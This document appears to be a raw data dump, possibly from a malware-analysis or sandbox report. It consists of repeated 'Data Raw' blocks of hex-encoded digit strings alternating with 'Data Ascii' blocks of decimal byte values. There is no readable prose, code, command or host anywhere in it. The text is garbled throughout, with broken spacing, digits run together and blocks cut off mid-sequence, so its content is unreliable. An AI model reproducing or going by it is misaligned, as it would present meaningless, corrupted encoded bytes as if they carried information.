313137 20313037 2039 38 20 34 38 20 32 34 20 32 30 34 20 35 34 20 38 34 20 31 32 30 20 38 39 20 31 30 36 20 31
323120353820 39 3520 32 30 35 20 3534 20 38 34 20 31 32 30 20 31 31 35 20 31 30 30 20 33 31 20 35 30 20 34 39
20 3530 20 36 30 20 35 39 20 32 33 31 20 31 31 36 20 31 30 39 20 31 31 38 20 35 32 20 32 36 20 35 30 20 35 34 20 38
3420 31 30 3520 36 39 20 31 30 34 20 31 31 32 20 31 39 30 20 34 38 20 35

Data Ascii: 20 24 127 55 84 116 103 111 88 204 48 50 60 120 125 94 107 124 25 212 63 29 190 123 125 2 143 50 48 56
3026 115 117 107 98 48 24 204 54 84 120 89 106 121 58 95 205 54 84 120 115 100 31 50 49 50 60 59 231 116 109 118 5
2265054 84 105 69 104 112 190 48 5

Data Raw: 36 37 20 33 38 20 32 34 20 31 30 30 20 35 35 20 38 34 20 31 31 36 20 31 30 37 20 36 34 20 31 32 31 20 32
30 20 33 38 20 32 36 20 31 37 36 20 38 34 20 31 31 34 20 31 31 35 20 37 30 20 31 31 35 20 32 30 20 32 37 20 31 39 39
20 32 38 20 38 34 20 31 38 30 20 31 31 20 33 37 20 31 31 32 20 35 30 20 35 32 20 33 36 20 39 32 20 31 30 33 20 31 31
3520 39 35 20 31 38 20 35 36 20 35 30 20 34 38 20 35 34 20 33 30 20 38 32 20 31 31 3520 31 31 37 20 31 30 33 20 31
30 32 20 38 38 20 33 20 34 32 20 33 30 20 31 30 34 20 31 31 3520 31 31 37 20 31 30 37 20 39 32 20 35 35 20 32 34 20
37 34 20 35 34 20 38 34 20 31 31 36 20 39 33 20 38 30 20 31 31 33 20 35 30 20 35 34 20 33 30 20 35 31 20 31 32 34 20
31312031 313720313039 20 31 31 38 20 32 34 20 34 38 20 35 30 20 34

Data Ascii: 67 38 24 100 55 84 116 107 64 121 20 38 26 176 84 114 115 70 115 20 27 199 28 84 180 11 37 112 50 52 36
92 103 115 95 18 56 50 48 54 30 82 115 117 103 102 88 3 42 30 104 115 117 107 92 55 24 74 54 84 116 93 80 113 50 54
3051124 11 117 109 118 24 48 50 4

Data Raw: 31 36 20 31 31 38 20 36 34 20 34 39 20 34 38 20 37 33 20 35 34 20 38 34 20 31 31 34 20 35 35 20 31 30 39
20 3131 32 20 33 35 20 31 36 20 31 38 39 20 31 39 20 31 33 32 20 31 30 38 20 39 33 20 31 34 36 20 31 31 32 20 35 30
20 35 34 20 34 38 20 33 30 20 38 20 31 31 34 20 31 31 37 20 31 30 33 20 31 30 32 20 33 30 20 32 37 20 32 30 20 32 32
20 31 32 38 20 38 37 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 38 33 20 39 30 20 32
323920 31 3039 20 31 31 32 20 35 32 20 34 36 20 33 31 20 34 34 20 31 31 34 20 31 32 32 20 39 33 20 31 33 37 20 31
31 32 20 35 30 20 35 38 20 34 36 20 32 37 20 37 31 20 38 34 20 31 30 30 20 31 30 35 20 31 31 35 20 39 33 20 35 36 20
35 31 20 35 34 20 39 34 20 39 34 20 39 38 20 37 30 20 31 32 32 20 35 37 20

Data Ascii: 16 118 64 49 48 7354 84 114 55 109 112 35 16 189 19 132 108 93 146 112 50 54 48 30 8 114 117 103 102 30
272022 128 87 165 115 88 205 48 50 48 83 90 229 109 112 52 46 31 44 114 122 93 137 112 50 58 46 27 71 84 100 105
115 93 56 51 54 94 94 98 70 122 57

Data Raw: 34 20 31 31 20 39 32 20 31 31 32 20 35 30 20 35 32 20 32 36 20 33 38 20 38 35 20 31 31 34 20 31 32 37 20
36 39 20 31 33 33 20 35 30 20 34 38 20 35 36 20 31 36 20 34 32 20 36 37 20 31 31 37 20 31 30 39 20 31 31 36 20 32 36
20 31 36 31 20 35 30 20 35 34 20 38 32 20 39 35 20 31 30 38 20 31 39 20 36 35 20 35 30 20 34 38 20 35 34 20 33 30 20
39 34 20 31 31 35 20 31 31 37 20 31 30 33 20 38 38 20 32 33 37 20 34 38 20 35 30 20 36 30 20 34 32 20 36 37 20 31 31
37 20 31 30 39 20 31 31 36 20 32 36 20 33 33 20 35 31 20 35 34 20 39 34 20 31 32 20 31 30 33 20 31 30 38 20 31 31 32
20 35 36 20 37 38 20 32 39 20 35 34 20 38 34 20 31 31 38 20 39 38 20 32 20 31 35 37 20 35 30 20 34 38 20 35 36 20 34
34 20 31 32 31 20 39 37 20 38 33 20 31 30 37 20 31 34 20 37 37 20 34 38 20

Data Ascii: 4 11 92 112 50 52 26 38 85 114 127 69 133 50 48 56 16 42 67 117 109 116 26 161 50 54 82 95 108 19 65 50
48 54 30 94 115 117 103 88 237 48 50 60 42 67 117 109 116 26 33 51 54 94 12 103 108 112 56 78 29 54 84 118 98 2 157
50 48 56 44 121 97 83 107 14 77 48

Data Raw: 31 31 32 20 35 36 20 37 38 20 32 32 32 20 35 34 20 38 34 20 31 32 30 20 31 31 20 36 36 20 31 31 32 20 35
30 20 35 32 20 33 37 20 38 39 20 31 38 35 20 31 31 34 20 31 31 37 20 31 30 33 20 31 30 37 20 33 31 20 34 30 20 32 30
20 34 38 20 34 32 20 31 33 20 31 31 37 20 31 30 39 20 31 31 36 20 37 36 20 30 20 35 30 20 35 34 20 38 30 20 32 39 20
31 303220 31 30 38 20 31 31 32 20 35 36 20 32 34 20 31 36 31 20 35 34 20 38 34 20 31 31 36 20 31 37 31 20 37 34 20
3132 3220 32 35 20 32 31 34 20 32 33 20 33 30 20 32 34 20 31 31 34 20 31 31 37 20 31 30 33 20 31 30 37 20 33 31 20
34 30 20 32 30 20 34 39 20 31 31 36 20 31 32 33 20 38 30 20 31 38 39 20 31 31 30 20 32 36 20 32 30 37 20 35 30 20 35
34 20 38 32 20 39 30 20 31 39 33 20 31 30 39 20 31 31 32 20 35 32 20 32 34

Data Ascii: 112 56 78 222 54 84 120 11 66 112 50 52 37 89 185 114 117 103 107 31 40 20 48 42 13 117 109 116 76 0 50
54 8029 102 108 112 56 24 161 54 84 116 171 74 122 25 214 23 30 24 114 117 103 107 31 40 20 49 116 123 80 189 110
26 207 50 54 82 90 193 109 112 52 24
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Data Raw: 20 31 31 35 20 36 39 20 31 37 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 34 20 31 30 30 20 39 35 20 31
30 3720 39 30 20 37 36 20 30 20 35 31 20 33 38 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20
313230 20 31 32 32 20 35 34 20 37 34 20 35 32 20 31 31 37 20 31 30 39 20 31 31 33 20 34 39 20 30 20 35 36 20 35 34
2037 3720313134 2031 313720313039 2031 313220 353020 34 3820 35 30 20 35 33 20 37 3920 31 31 31 20
38 38 20 31 32 34 20 38 36 20 39 33 20 33 38 20 35 31 20 35 34 20 39 34 20 36 20 35 31 20 31 30 39 20 31 31 32 20 35
31203234203137312035342038342031313620 39352037 352039312032 32332034 382035302035
34 20 38 37 20 36 36 20 31 32 37 20 31 30 39 20 31 30 30 20 35 30 20 34 38

Data Ascii: 115 69 17 50 48 56 232 84 100 95 107 90 76 0 51 38 84 114 117 109 112 50 120 122 54 74 52 117 109 113
49056 54 77 114 117 109 112 50 48 50 53 79 111 88 124 86 93 38 51 54 94 6 51 109 112 51 24 171 54 84 116 95 75 91
223 48 50 54 87 66 127 109 100 50 48

Data Raw: 31 37 31 20 31 30 39 20 39 30 20 34 39 20 36 30 20 35 31 20 33 38 20 38 34 20 31 31 34 20 31 31 37 20 31
303920 31 31 32 20 35 30 20 31 38 35 20 31 38 37 20 35 34 20 38 38 20 35 32 20 31 31 37 20 31 30 39 20 31 31 33 20
33 33 20 30 20 35 34 20 35 34 20 32 34 20 31 31 34 20 31 31 37 20 31 30 39 20 35 37 20 35 30 20 34 38 20 33 35 20 37
322034322031313420313137203130352031313420313820313631 20323020 3233302037 342039
302031 333820313039 203131322035322032342032313920353420383420313230203933203139
372031 313220353020 35382034 302032372039 35203834 203131352036 39 20 32 32 32 20 35 30 20 34
38 20 35 36 20 32 37 20 39 35 20 38 39 20 31 31 38 20 31 30 33 20 39 31 20

Data Ascii: 171 109 90 49 60 51 38 84 114 117 109 112 50 185 187 54 88 52 117 109 113 33 054 54 24 114 117 109 57
5048357242 114117 105 114 18 161 20 230 74 90 138 109 112 52 24 219 54 84 120 93 197 112 50 58 40 27 95 84
115 69 222 50 48 56 27 95 89 118 103 91

Data Raw: 31 20 33 38 20 38 34 20 31 31 34 20 31 31 39 20 31 30 39 20 31 30 30 20 35 30 20 31 38 39 20 31 34 37 20
35342038 332031 313420313137 20313039 203131322034 312030 20353420353420323437203131
3420 31 31 37 20 31 30 39 20 35 39 20 35 30 20 34 38 20 33 35 20 37 32 20 33 30 20 31 31 34 20 31 31 37 20 31 30 35
2031 30352033312035372032302036322031323420323531203131372031303920313232203235
203531203632203239203136312031313220393320323420313132203530203538203330203531
203133372032343320313137203130392031313220343820313620313133203136203133322031
30 38 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 37 36 20 37 33

Data Ascii: 1 38 84 114 119 109 100 50 189 147 54 83 114 117 109 112 41 0 54 54 247 114 117 109 59 50 48 35 72 30
114 117 105 105 31 57 20 62 124 251 117 109 122 25 51 62 29 161 112 93 24 112 50 58 30 51 137 243 117 109 112 48
16 113 16 132 108 93 146 112 50 54 76 73

Data Raw: 35 30 20 35 34 20 39 34 20 31 37 32 20 31 31 38 20 31 30 32 20 39 31 20 32 31 30 20 33 34 20 34 38 20 33
30203534 20 31 31 34 20 31 31 37 20 31 30 33 20 39 33 20 31 35 31 20 32 33 38 20 36 30 20 33 36 20 38 36 20 31 34
30 20 39 39 20 39 39 20 31 31 32 20 35 30 20 34 33 20 39 33 20 38 35 20 38 34 20 31 31 34 20 31 3237 20 31 37 37 20
39 30 20 3530 20 34 39 20 34 36 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 38 38 20 31 31 32 20 36 30 20 31 31 35
203530203238 2031382031313420313137 2031303820 313134203530 20353620 35302037 3020 34
342031313420313233203130392031313220 35 302034 382034312036 20383020 313134203233 36
2031 3039 20 31 31 32 20 35 30 20 31 32 35 20 35 30 20 35 34 20 36 39 20

Data Ascii: 50 54 94 172 118 102 91 210 34 48 30 54 114 117 103 93 151 238 60 36 86 140 99 99 112 50 43 93 85 84 114
127 177 90 50 49 46 54 84 114 117 88 112 60 115 50 28 18 114 117 108 114 50 56 50 70 44 114 123 109 112 50 48 41 6
80 114 236 109 112 50 125 50 54 69

Data Raw: 20 31 31 34 20 31 31 35 20 33 30 20 31 35 34 20 35 30 20 34 38 20 35 36 20 33 30 20 31 39 31 20 31 31 34
203131 37 20 31 30 33 20 38 36 20 32 34 20 31 37 38 20 35 30 20 35 35 20 36 38 20 31 31 34 2031 31 37 20 31 31 31
2031 31 32 20 31 34 20 34 38 20 32 36 20 38 32 20 38 34 20 31 31 37 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20
34 33 20 32 20 35 30 20 38 34 20 32 35 31 20 31 31 37 20 31 30 39 20 31 31 32 20 31 32 37 20 34 38 20 35 30 20 33 39
2034 3220 37 3220 31 31 37 20 31 30 39 20 31 31 36 20 31 31 20 37 38 20 35 30 20 35 34 20 38 34 20 31 32 20 37 39
20 31 30 39 20 31 31 32 20 35 34 20 39 35 20 31 30 38 20 35 34 20 38 34 20 31 32 30 20 39 36 20 36 34 20 31 31 35 20
32302032 37 20 31 30 33 20 35 38 20 31 32 37 20 31 33 37 20 31 30 33 20

Data Ascii: 114 115 30 154 50 48 56 30 191 114 117 103 86 24 178 50 55 68 114 117 111 112 14 48 26 82 84 117 117
109 112 50 43 2 50 84 251 117 109 112 127 48 50 39 42 72 117 109 116 11 78 50 54 84 12 79 109 112 54 95 108 54 84
120 96 64 115 20 27 103 58 127 137 103

Data Raw: 36 39 20 31 39 37 20 35 30 20 34 38 20 35 32 20 37 32 20 34 33 20 31 31 34 20 31 31 37 20 31 30 33 20 38
38 20 31 33 35 20 34 38 20 35 30 20 34 38 20 31 32 36 20 38 34 20 39 34 20 32 31 31 20 38 36 20 32 35 20 32 32 39 20
323020 323920 31 33 37 20 31 31 34 20 31 31 37 20 31 32 36 20 36 34 20 34 39 20 34 38 20 31 39 37 20 35 34 20 38
342031 3134 20 33 32 20 31 30 39 20 31 31 32 20 33 35 20 37 38 20 31 31 35 20 35 34 20 38 34 20 31 31 38 20 38 38
20 31 30 33 20 31 34 20 31 31 34 20 34 38 20 35 30 20 35 30 20 31 30 39 20 31 35 31 20 31 31 37 20 31 30 39 20 31 31
32 20 34 38 20 39 35 20 32 20 35 35 20 38 34 20 31 32 30 20 31 31 30 20 36 34 20 38 32 20 32 30 20 37 39 20 31 32 20
3534 20 38 34 20 31 31 38 20 39 33 20 39 32 20 31 31 33 20 35 30 20 35 38

Data Ascii: 69 197 50 48 52 72 43 114 117 103 88 135 48 50 48 126 84 94 211 86 25 229 20 29 137 114 117 126 64 49 48
197 54 84 114 32 109 112 35 78 115 54 84 118 88 103 14 114 48 50 50 109 151 117 109 112 48 95 2 55 84 120 110 64 82
20791254 84 118 93 92 113 50 58

Data Raw: 33 20 38 34 20 31 31 39 20 31 30 37 20 33 31 20 31 34 37 20 34 39 20 35 30 20 34 38 20 31 32 36 20 31 32
302039 34 20 31 35 32 20 31 31 32 20 35 30 20 33 35 20 32 20 34 38 20 38 34 20 31 30 35 20 31 31 37 20 31 30 39 20
313132 20 31 30 31 20 34 38 20 35 30 20 33 39 20 38 37 20 31 31 38 20 31 31 32 20 39 39 20 31 31 36 20 36 30 20 35
3320 32 36 20 32 36 20 38 35 20 31 31 34 20 31 31 35 20 31 31 36 20 39 33 20 35 39 20 32 32 20 34 38 20 34 38 20 35
3920 32 31 31 20 31 31 36 20 31 30 39 20 31 31 38 20 32 34 20 35 38 20 32 35 20 31 39 35 20 38 34 20 39 37 20 36 39
20 31 30 37 20 31 31 32 20 35 20 34 38 20 35 30 20 35 34 20 36 37 20 31 31 34 20 31 31 37 20 31 32 34 20 31 30 30 20
33 37 20 32 39 20 33 34 20 31 36 20 34 32 20 37 35 20 31 31 37 20 31 30 39

Data Ascii: 3 84 119 107 31 147 49 50 48 126 120 94 152 112 50 35 2 48 84 105 117 109 112 101 48 50 39 87 118 112 99
116 60 53 26 26 85 114 115 116 93 59 22 48 48 59 211 116 109 118 24 58 25 195 84 97 69 107 112 5 48 50 54 67 114
117 124 100 37 29 34 16 42 75 117 109

Data Raw: 30 33 20 31 30 38 20 38 38 20 31 35 20 34 39 20 35 30 20 36 30 20 31 32 34 20 35 35 20 31 31 36 20 31 30
39 20 31 31 38 20 39 34 20 37 20 33 39 20 32 39 20 38 33 20 32 34 32 20 35 39 20 31 30 39 20 31 31 32 20 35 34 20 32
37 20 32 33 38 20 37 32 20 32 33 20 31 31 34 20 31 31 37 20 31 30 35 20 33 31 20 31 34 35 20 34 39 20 35 30 20 34 38
203132372031 3139203933 203132322031 31 33 20 35 30 20 35 34 20 32 34 20 33 37 20 31 30 30 20 31 31 33
20 31 31 37 20 38 34 20 31 31 32 20 35 30 20 34 38 20 31 31 30 20 35 34 20 38 34 20 39 39 20 38 35 20 37 37 20 36 32
20 35 30 20 34 38 20 32 36 20 32 33 32 20 38 34 20 31 31 34 20 31 32 37 20 37 37 20 31 31 33 20 35 30 20 34 38 20 31
37 38 20 34 34 20 31 32 31 20 31 32 30 20 38 33 20 36 39 20 37 39 20 35 31

Data Ascii: 03 108 88 15 49 50 60 124 55 116 109 118 94 7 39 29 83 242 59 109 112 54 27 238 72 23 114 117 105 31 145
495048 127 119 93 122 113 50 54 24 37 100 113 117 84 112 50 48 110 54 84 99 85 77 62 50 48 26 232 84 114 127 77
113 50 48 178 44 121 120 83 69 79 51
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Data Raw: 38 32 20 38 38 20 31 32 37 20 37 30 20 31 34 36 20 33 33 20 30 20 35 38 20 35 34 20 31 30 38 20 31 31 34
203131 37 20 31 30 39 20 32 33 20 35 30 20 34 38 20 33 35 20 35 33 20 38 30 20 31 31 39 20 39 33 20 34 33 20 31 31
3220 35 30 20 35 34 20 34 30 20 32 37 20 31 31 35 20 38 34 20 31 31 20 32 33 35 20 31 31 32 20 35 30 20 35 32 20 33
37 20 34 36 20 37 39 20 31 30 36 20 32 34 38 20 33 31 20 31 31 32 20 35 30 20 34 39 20 33 37 20 32 37 20 37 36 20 38
342031313420313233203131342031393020 31323020 3530203534 203835203230382031313420
313232203131382031343420353520323620313432203834203131342031313520373120313232
2032 35203233 31203537 203239203137 382031 31 33203639 20

Data Ascii: 82 88 127 70 146 33 0 58 54 108 114 117 109 23 50 48 35 53 80 119 93 43 112 50 54 40 27 115 84 11 235
11250 52 37 46 79 106 248 31 112 50 49 37 27 76 84 114 123 114 190 120 50 54 85 208 114 122 118 144 55 26 142 84
114 11571 122 25231 57 29 178 113 69

Data Raw: 31 30 33 20 33 31 20 32 33 20 32 30 20 32 32 20 32 31 37 20 31 34 32 20 31 39 38 20 33 35 20 32 32 20 38
37 20 38 36 20 38 37 20 38 30 20 35 30 20 32 33 20 31 36 20 31 31 20 34 31 20 34 39 20 33 39 20 34 36 20 32 37 20 36
3520 38 34 20 38 35 20 31 33 30 20 31 36 37 20 31 39 39 20 32 34 31 20 38 34 20 38 30 20 34 39 20 32 33 20 31 39 20
313120323120 38 342038 3520 31 3036 20 38 37 20 31 32 36 20 38 34 20 39 34 20 31 38 36 20 38 36 20 32 35 20
3231 37 20 3530 20 35 34 20 38 37 20 36 36 20 31 32 37 20 31 30 39 20 39 35 20 35 30 20 34 38 20 35 30 20 35 34 20
3834 20313134203131372031313120313039 203433203239 203139 2031 36203837203130332039
38 20 36 34 20 31 31 30 20 32 30 20 31 36 20 34 38 20 31 36 20 35 32 20 32

Data Ascii: 103 31 23 20 22 217 142 198 35 22 87 86 87 80 50 23 16 11 41 49 39 46 27 65 84 85 130 167 199 241 84 80
49 23 19 11 21 84 85 106 87 126 84 94 186 86 25 217 50 54 87 66 127 109 95 50 48 50 54 84 114 117 111 109 43 29 19
16 87 103 98 64 110 20 16 48 16 52 2

Data Raw: 31 20 31 31 39 20 32 30 20 33 33 20 37 37 20 39 35 20 36 30 20 37 35 20 31 31 38 20 33 36 20 36 37 20 39
37 20 35 35 20 38 34 20 31 32 30 20 39 38 20 36 34 20 34 39 20 32 30 20 35 34 20 33 37 20 31 31 31 20 36 36 20 39 34
2037 32 20 37 35 20 31 31 39 20 35 32 20 39 35 20 31 32 35 20 35 35 20 38 34 20 31 32 30 20 31 32 31 20 37 37 20 31
34 36 20 31 35 38 20 33 31 20 32 38 20 38 30 20 35 30 20 32 33 20 31 39 20 38 20 32 32 20 38 37 20 38 35 20 38 34 20
38 30 20 34 39 20 38 32 20 31 30 35 20 32 30 37 20 35 33 20 32 32 33 20 38 36 20 38 37 20 38 30 20 34 39 20 32 30 20
313920 38 20 32 32 20 38 37 20 38 36 20 38 37 20 38 37 20 38 39 20 31 32 32 20 38 39 20 31 31 39 20 39 31 20 33 34
2031 37 36 20 31 30 37 20 35 34 20 38 34 20 31 31 38 20 39 34 20 32 32 32

Data Ascii: 1 119 20 33 77 95 60 75 118 36 67 97 55 84 120 98 64 49 20 54 37 111 66 94 72 75 119 52 95 125 55 84 120
121 77 146 158 31 28 80 50 23 19 8 22 87 85 84 80 49 82 105 207 53 223 86 87 80 49 20 19 8 22 87 86 87 87 89 122 89
1199134 176 107 54 84 118 94 222

Data Raw: 20 35 30 20 35 39 20 31 31 35 20 31 31 36 20 31 30 39 20 31 31 38 20 33 35 20 36 33 20 38 38 20 38 39 20
322031 313520313137 203130332031 342031 30 3520 34 38 20 35 30 20 35 30 20 31 32 30 20 31 32 36 20 31
3120 35 34 20 31 31 32 20 35 30 20 35 32 20 33 33 20 33 38 20 31 30 38 20 35 20 31 31 37 20 31 30 39 20 31 31 32 20
37 36 20 31 30 38 20 35 30 20 35 34 20 38 30 20 31 30 33 20 37 30 20 31 31 37 20 31 34 20 31 30 34 20 34 38 20 35 30
203530203539 203131322031313620313039 20 3131382031382031343020323432203230312031
37 312031392031 3030 203938203137 2039 302033 35203335203239 2038 33203132203431203130
3920 31 31 32 20 35 34 20 33 35 20 33 35 20 33 39 20 36 39 20 39 35 20 31

Data Ascii: 5059 115 116 109 118 35 63 88 89 2 115 117 103 14 105 48 50 50 120 126 11 54 112 50 52 33 38 108 5 117
109 112 76 108 50 54 80 103 70 117 14 104 48 50 50 59 112 116 109 118 18 140 242 201 171 19 100 98 17 90 35 35 29
831241109 1125435353969951

Data Raw: 31 30 34 20 35 37 20 35 33 20 39 32 20 34 33 20 31 33 39 20 31 30 32 20 31 31 33 20 35 30 20 35 31 20 33
36 20 36 20 31 33 31 20 31 31 37 20 31 31 35 20 32 32 37 20 32 35 20 32 38 20 33 35 20 35 33 20 31 38 37 20 31 31 38
2031 31 3420 31 31 37 20 31 30 38 20 31 32 35 20 35 32 20 33 38 20 35 39 20 33 32 20 38 33 20 39 30 20 34 33 20 31
30 38 20 31 31 32 20 35 36 20 35 37 20 35 36 20 34 38 20 31 32 36 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 35 20
32 20 35 37 20 35 30 20 34 35 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 34 38 20
3330203231 203131342031 313720313033 203131342034 352033322031 393120 31372038342031
31342031 31 39 20 31 31 39 20 39 33 20 34 39 20 32 32 20 32 30 20 32 38

Data Ascii: 104 57 53 92 43 139 102 113 50 51 36 6 131 117 115 227 25 28 35 53 187 118 114 117 108 125 52 38 59 32
839043108 112 56 57 56 48 126 114 117 109 115 2 57 50 45 84 114 117 109 112 50 48 48 30 21 114 117 103 114 45
3219117 84114 119 119 93 49 22 20 28

Data Raw: 20 32 30 20 35 34 20 33 30 20 31 32 35 20 31 32 37 20 31 31 36 20 31 32 36 20 37 30 20 31 35 31 20 35 36
20 32 37 20 31 39 39 20 34 39 20 31 32 34 20 32 33 33 20 31 31 37 20 31 30 39 20 31 31 38 20 34 32 20 32 39 20 35 37
20 31 36 20 39 32 20 39 30 20 30 20 31 30 39 20 31 31 32 20 35 36 20 32 39 20 35 37 20 32 39 20 38 37 20 31 32 36 20
39 34 20 31 35 38 20 31 32 30 20 32 36 20 33 38 20 35 31 20 35 34 20 38 32 20 31 37 32 20 38 31 20 37 32 20 38 38 20
31 32 36 20 34 38 20 35 30 20 36 30 20 38 39 20 31 31 37 20 39 33 20 32 34 31 20 31 31 32 20 35 30 20 35 34 20 35 39
20 32 32 20 31 36 30 20 38 39 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 31 32 34 20
3139 3820 31 31 37 20 31 30 39 20 31 31 38 20 32 36 20 38 31 20 35 30 20

Data Ascii: 20 54 30 125 127 116 126 70 151 56 27 199 49 124 233 117 109 118 42 29 57 16 92 90 0 109 112 56 29 57
29 87 126 94 158 120 26 38 51 54 82 172 81 72 88 126 48 50 60 89 117 93 241 112 50 54 59 22 160 89 165 115 88 205 4
85048 124 198 117 109 118 26 81 50

Data Raw: 34 20 38 39 20 34 38 20 35 30 20 35 30 20 32 31 38 20 31 39 37 20 32 36 20 31 35 20 31 31 33 20 35 30 20
353820 34 37 20 32 37 20 31 31 38 20 38 34 20 31 31 20 36 20 31 31 32 20 35 30 20 35 32 20 33 35 20 35 31 20 32 30
36 20 31 31 31 20 38 38 20 31 31 39 20 38 36 20 37 36 20 39 32 20 35 30 20 35 34 20 38 30 20 39 39 20 31 31 32 20 32
34 37 20 31 32 33 20 37 36 20 37 39 20 35 30 20 35 34 20 39 34 20 31 32 36 20 39 34 20 31 30 32 20 39 39 20 35 34 20
32 37 20 32 35 35 20 33 37 20 38 31 20 38 39 20 31 37 34 20 39 36 20 39 31 20 32 31 34 20 37 38 20 39 35 20 35 34 20
38 34 20 31 31 38 20 31 30 30 20 31 30 35 20 31 34 20 39 35 20 34 38 20 35 30 20 35 30 20 32 31 38 20 31 39 37 20 32
36 20 31 35 20 31 31 33 20 35 30 20 35 38 20 31 36 38 20 35 38 20 39 32 20

Data Ascii: 4 89 48 50 50 218 197 26 15113 50 58 47 27 118 84 11 6 112 50 52 35 51 206 111 88 119 86 76 92 50 54 80
99 112 247 123 76 79 50 54 94 126 94 102 99 54 27 255 37 81 89 174 96 91 214 78 95 54 84 118 100 105 14 95 48 50 50
218197 26 15 113 50 58 168 58 92

Data Raw: 31 31 35 20 31 31 37 20 31 30 33 20 31 34 20 36 38 20 34 38 20 35 30 20 35 30 20 31 33 32 20 32 32 37 20
313137 20 31 30 39 20 31 31 33 20 32 36 20 31 31 38 20 35 30 20 35 34 20 39 34 20 31 30 39 20 31 32 34 20 32 20 32
39 20 35 31 20 34 38 20 35 36 20 37 32 20 33 34 20 31 31 34 20 31 31 37 20 31 30 35 20 31 36 30 20 31 32 31 20 34 38
20 35 30 20 35 35 20 31 32 34 20 35 32 20 31 31 37 20 31 30 39 20 31 32 32 20 34 35 20 35 38 20 39 33 20 39 31 20 38
3520 31 31 34 20 31 32 37 20 31 39 20 36 20 35 30 20 34 38 20 35 34 20 32 33 30 20 32 35 33 20 31 31 34 20 31 31 37
20 31 30 38 20 38 38 20 31 31 36 20 34 38 20 35 30 20 36 30 20 37 35 20 31 32 31 20 32 36 20 30 20 31 31 33 20 35 30
20 35 38 20 37 36 20 36 34 20 38 34 20 31 31 34 20 31 31 33 20 31 38 39 20

Data Ascii: 115 117 103 14 68 48 50 50 132 227 117 109 113 26 118 50 54 94 109 124 2 29 51 48 56 72 34 114 117 105
160 121 48 50 55 124 52 117 109 122 45 58 93 91 85 114 127 19 6 50 48 54 230 253 114 117 108 88 116 48 50 60 75
12126 0113 50 58 76 64 84 114 113 189
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Data

Data Raw: 34 30 20 35 34 20 38 34 20 31 31 35 20 34 20 32 31 31 20 31 31 32 20 35 30 20 34 39 20 39 33 20 31 38 31
20 383520 31 31 34 20 31 32 37 20 38 35 20 38 20 35 31 20 34 38 20 35 30 20 37 32 20 33 39 20 31 31 34 20 31 31 37
2031 30 3520 31 32 36 20 35 34 20 33 33 20 35 35 20 31 37 32 20 34 35 20 32 30 36 20 31 31 37 20 31 30 39 20 31 31
3320 36 37 20 31 34 30 20 35 30 20 35 34 20 38 35 20 32 39 20 32 34 31 20 31 30 38 20 31 31 32 20 35 36 20 38 20 31
3034 20 35352038 34 20 31 31 34 20 31 31 20 33 30 20 31 31 32 20 35 30 20 35 32 20 36 30 20 35 30 20 36 39 20 31
313920 32 33 39 20 32 30 20 36 36 20 35 30 20 34 38 20 3531 20 37 31 2031303220 31 31342031 31 3720 31 30
38 20 31 30 36 20 33 31 20 33 34 20 32 30 20 33 36 20 39 30 20 39 30 20 31

Data Ascii: 40 54 84 115 4 211 112 50 49 93 181 85 114 127 85 8 51 48 50 72 39 114 117 105 126 54 33 55 172 45 206
117 109 113 67 140 50 54 85 29 241 108 112 56 8 104 55 84 114 11 30 112 50 52 60 50 69 119 239 20 66 50 48 51 71 10
2114 117 108 106 31 34 20 36 90 90 1

Data Raw: 35 34 20 38 35 20 32 39 20 34 36 20 31 30 39 20 31 31 32 20 35 36 20 38 20 33 30 20 35 32 20 38 34 20 31
31342031 312032342031 313220353020 35322037 36 20 37 31 20 38 34 20 31 31 34 20 31 31 33 20 32 20 31
38 35 20 35 30 20 34 38 20 35 36 20 31 38 36 20 32 34 20 31 31 34 20 31 31 37 20 31 30 38 20 33 31 20 31 30 35 20 34
3820 353020 36 30 20 31 30 38 20 31 32 34 20 31 31 39 20 31 30 39 20 31 31 32 20 37 36 20 36 39 20 35 30 20 35 34
2038 302031322034 20313039 203131322035 342039 352031373020 3535203834 203132302032 34
392033 322031313220 35302034 392039332031 3039203834203131342031323720383520313238
2035312034 3820353020373220333320313134203131372031

Data Ascii: 54 85 29 46 109 112 56 8 30 52 84 114 11 24 112 50 52 76 71 84 114 113 2 185 50 48 56 186 24 114 117 108
3110548 5060 108 124 119 109 112 76 69 50 54 80 12 4 109 112 54 95 170 55 84 120 249 32 112 50 49 93 109 84 114
127 8512851485072331141171

Data Raw: 33 20 32 34 20 31 32 36 20 35 34 20 38 34 20 31 32 30 20 31 30 32 20 31 30 36 20 31 31 35 20 37 33 20 33
37 20 35 30 20 35 34 20 38 30 20 39 39 20 31 31 34 20 37 37 20 32 33 33 20 33 30 20 32 32 34 20 34 34 20 33 30 20 31
37 3120 31 31 34 20 31 31 37 20 31 30 37 20 38 38 20 31 32 39 20 34 38 20 35 30 20 34 38 20 31 32 34 20 31 39 20 31
313720313039 20 31 323220 32 33 36 20 34 38 20 32 34 20 38 39 20 31 39 35 20 35 31 20 31 30 35 20 31 30 39 20
313132203530 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 37 35 20 34 38 20 34 38
203530203133203836203131342031313720373520313132203530203438203131362035342038
3420 31 31 3520 31 30 32 20 39 33 20 31 31 36 20 35 30 20 39 39 20 35 30

Data Ascii: 3 24 126 54 84 120 102 106 115 73 37 50 54 80 99 114 77 233 30 224 44 30 171 114 117 107 88 129 48 50 48
124 19 117 109 122 236 48 24 89 195 51 105 109 112 50 48 50 54 84 114 117 109 75 48 48 50 13 86 114 117 75 112 50
48 116 54 84 115 102 93 116 50 99 50

Data Raw: 20 31 30 39 20 39 34 20 32 32 36 20 34 36 20 32 36 20 32 30 31 20 38 34 20 31 31 34 20 31 31 35 20 37 37
20 34 38 20 34 35 20 34 38 20 35 30 20 31 38 36 20 32 34 20 31 31 34 20 31 31 37 20 31 30 38 20 38 38 20 39 37 20 34
